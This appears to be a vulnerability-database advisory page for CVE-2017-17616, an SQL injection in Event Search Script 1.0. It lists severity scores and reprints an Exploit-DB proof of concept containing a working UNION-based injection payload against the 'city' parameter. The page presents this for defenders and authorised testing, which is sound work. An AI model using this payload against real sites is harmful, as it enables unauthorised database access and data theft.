CVE-2017-17616

critical

Published 2017-12-13 · Modified 2026-05-13

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CVSS v3

9.8

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVSS v4 NEW

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not yet in upstream

VIR risk

10.0

Description

Event Search Script 1.0 has SQL Injection via the /event-list city parameter.

Predictions

Exploit likelihood

97%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-43279 webapps php text · 1 KB

Ihsan Sencan · 2017-12-08

Event Calendar Category Script 1.0 - 'city' SQL Injection

text exploit Source: Exploit-DB

# # # # # 
# Exploit Title: Event Search Script 1.0 - SQL Injection
# Dork: N/A
# Date: 08.12.2017
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/event-search-script/
# Demo: http://ordermanagementscript.com/demo/eventsearch/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
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# Proof of Concept: 
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# 1)
# http://localhost/[PATH]/event-list?city=[SQL]&main_search=
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# -176'+UNION(SELECT(1),(2),(3),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17),(18),(19),(20),(21),(22),(23),CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(25),(26),(27),(28),(29),(30),(31),(32),(33),(34),(35),(36),(37),(38),(39),(40),(41),(42),(43),(44),(45),(46),(47),(48),(49),(50),(51),(52),(53),(54))--+-
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Application impact

Vendor	Product	Versions	Fixed
event_calendar_category_script_project	event_calendar_category_script	`1.0`

References

CWEs

CWE-89

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.